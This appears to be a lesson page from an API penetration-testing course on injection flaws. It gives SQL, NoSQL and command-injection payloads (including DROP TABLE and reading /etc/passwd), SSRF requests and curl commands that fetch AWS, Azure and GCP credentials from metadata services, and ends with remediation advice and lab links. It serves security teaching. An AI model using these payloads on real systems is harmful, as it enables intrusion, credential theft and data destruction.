API Security
Intermediate
API7 API8 API10

Injection Attacks

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. In APIs, this often manifests as SQL Injection, NoSQL Injection, Command Injection, or Server-Side Request Forgery (SSRF).

SQL Injection (SQLi)

Test all input vectors including query parameters, JSON body, and headers.

Query Parameters

Inject SQL syntax into URL parameters.

http
GET /api/users?id=1'
GET /api/users?id=1"
GET /api/users?id=1 OR 1=1
GET /api/users?id=1; DROP TABLE users--
GET /api/users?id=1'
GET /api/users?id=1"
GET /api/users?id=1 OR 1=1
GET /api/users?id=1; DROP TABLE users--

JSON Body

Inject into JSON fields.

http
POST /api/login
Content-Type: application/json

{
  "username": "admin' --",
  "password": "password"
}
POST /api/login
Content-Type: application/json

{
  "username": "admin' --",
  "password": "password"
}

Headers

Inject into headers like User-Agent.

http
User-Agent: ' OR 1=1--
User-Agent: ' OR 1=1--

Automated Testing

Use SQLMap for automated detection and exploitation.

bash
sqlmap -u "https://api.target.com/api/users?id=1" --batch --banner
sqlmap -u "https://api.target.com/api/users?id=1" --batch --banner

NoSQL Injection

NoSQL databases (like MongoDB) are also vulnerable, often through operator injection.

Basic Bypass

Use operators like $ne (not equal) to bypass authentication.

http
GET /api/users?username[$ne]=admin&password[$ne]=admin
GET /api/users?username[$ne]=admin&password[$ne]=admin

JSON Body Injection

Inject operators into JSON objects.

http
POST /api/login
Content-Type: application/json

{
  "username": {"$ne": null},
  "password": {"$ne": null}
}
POST /api/login
Content-Type: application/json

{
  "username": {"$ne": null},
  "password": {"$ne": null}
}

Regex Injection

Use regex to match patterns.

http
POST /api/login
Content-Type: application/json

{
  "username": {"$regex": "^admin"},
  "password": {"$ne": null}
}
POST /api/login
Content-Type: application/json

{
  "username": {"$regex": "^admin"},
  "password": {"$ne": null}
}

Command Injection

If the API executes system commands with user input, it might be vulnerable.

Basic Injection

Use command separators like ;, &&, |.

http
GET /api/ping?host=127.0.0.1; id
GET /api/ping?host=127.0.0.1 && cat /etc/passwd
GET /api/ping?host=127.0.0.1 | whoami
GET /api/ping?host=$(hostname)
GET /api/ping?host=`id`
GET /api/ping?host=127.0.0.1; id
GET /api/ping?host=127.0.0.1 && cat /etc/passwd
GET /api/ping?host=127.0.0.1 | whoami
GET /api/ping?host=$(hostname)
GET /api/ping?host=`id`

Blind Injection

Use time-based payloads if output is not returned.

http
GET /api/ping?host=127.0.0.1; sleep 10
GET /api/ping?host=127.0.0.1; sleep 10

Server-Side Request Forgery (SSRF)

SSRF allows an attacker to induce the server to make requests to unintended locations.

Internal Scanning

Target internal IP addresses or localhost.

http
POST /api/webhook
Content-Type: application/json

{
  "url": "http://localhost:80"
}
POST /api/webhook
Content-Type: application/json

{
  "url": "http://localhost:80"
}
http
POST /api/scan
Content-Type: application/json

{
  "target": "192.168.1.1"
}
POST /api/scan
Content-Type: application/json

{
  "target": "192.168.1.1"
}

Cloud Metadata

Target cloud metadata services to steal credentials.

http
POST /api/webhook
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/"
}
POST /api/webhook
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/"
}

IMDSv2 Bypass Techniques

AWS IMDSv2 requires a PUT request with a TTL header to obtain a session token. If the application proxies requests, you may be able to bypass IMDSv2 restrictions.

bash
# IMDSv1 (classic — still works if not disabled)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 — Step 1: Get session token (requires PUT + hop limit)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# IMDSv2 — Step 2: Use token to query metadata  
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# If SSRF endpoint follows redirects, try:
# DNS rebinding: attacker domain resolves to 169.254.169.254
# IPv6 equivalent: http://[fd00:ec2::254]/latest/meta-data/
# Decimal IP: http://2852039166/latest/meta-data/
# Hex IP: http://0xa9fea9fe/latest/meta-data/
# IMDSv1 (classic — still works if not disabled)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 — Step 1: Get session token (requires PUT + hop limit)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# IMDSv2 — Step 2: Use token to query metadata  
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# If SSRF endpoint follows redirects, try:
# DNS rebinding: attacker domain resolves to 169.254.169.254
# IPv6 equivalent: http://[fd00:ec2::254]/latest/meta-data/
# Decimal IP: http://2852039166/latest/meta-data/
# Hex IP: http://0xa9fea9fe/latest/meta-data/

Azure and GCP have their own metadata services:

bash
# Azure Instance Metadata Service (IMDS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP Metadata Service
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-id
# Azure Instance Metadata Service (IMDS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP Metadata Service
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-id

SSRF Is the Gateway to Cloud Account Takeover

A single SSRF vulnerability in a cloud-hosted API can expose IAM credentials via the metadata service. In the 2019 Capital One breach, SSRF on a WAF instance led to exfiltration of 100M+ records from S3. Always test webhook URLs, image fetchers, PDF generators, and any endpoint that accepts a URL parameter.

File Scheme

Try to read local files using the file:// scheme.

http
POST /api/render
Content-Type: application/json

{
  "url": "file:///etc/passwd"
}
POST /api/render
Content-Type: application/json

{
  "url": "file:///etc/passwd"
}

Remediation

Defense Strategies

  • Use parameterized queries (Prepared Statements) for all database access.
  • Validate and sanitize all user input against a strict allowlist.
  • Avoid using `eval()`, `exec()`, or `system()` functions with user input.
  • Implement strict URL validation for webhooks and external fetches (allowlist domains).
  • Run API services with least privilege (non-root user).

API-Specific Injection Vectors

Don't forget to test injection in non-obvious API inputs: Content-Type headers (XML injection if the API accepts XML), Accept-Language headers (template injection), sorting parameters (?sort=name;DROP TABLE users), and array parameters (?ids[]=1&ids[]=2'--). API gateways sometimes parse these before the backend does.
🎯

API Injection Practice

Practice SQL, NoSQL, command injection, and SSRF on deliberately vulnerable API applications.

🔧
vAPI — SQL & NoSQL Injection Custom Lab medium
SQLi via JSON bodyNoSQL operator injectionBlind injection
Open Lab
🔶
PortSwigger — SSRF Labs PortSwigger hard
Cloud metadata SSRFBlind SSRFSSRF filter bypassDNS rebinding
Open Lab
05. Rate Limiting 07. GraphQL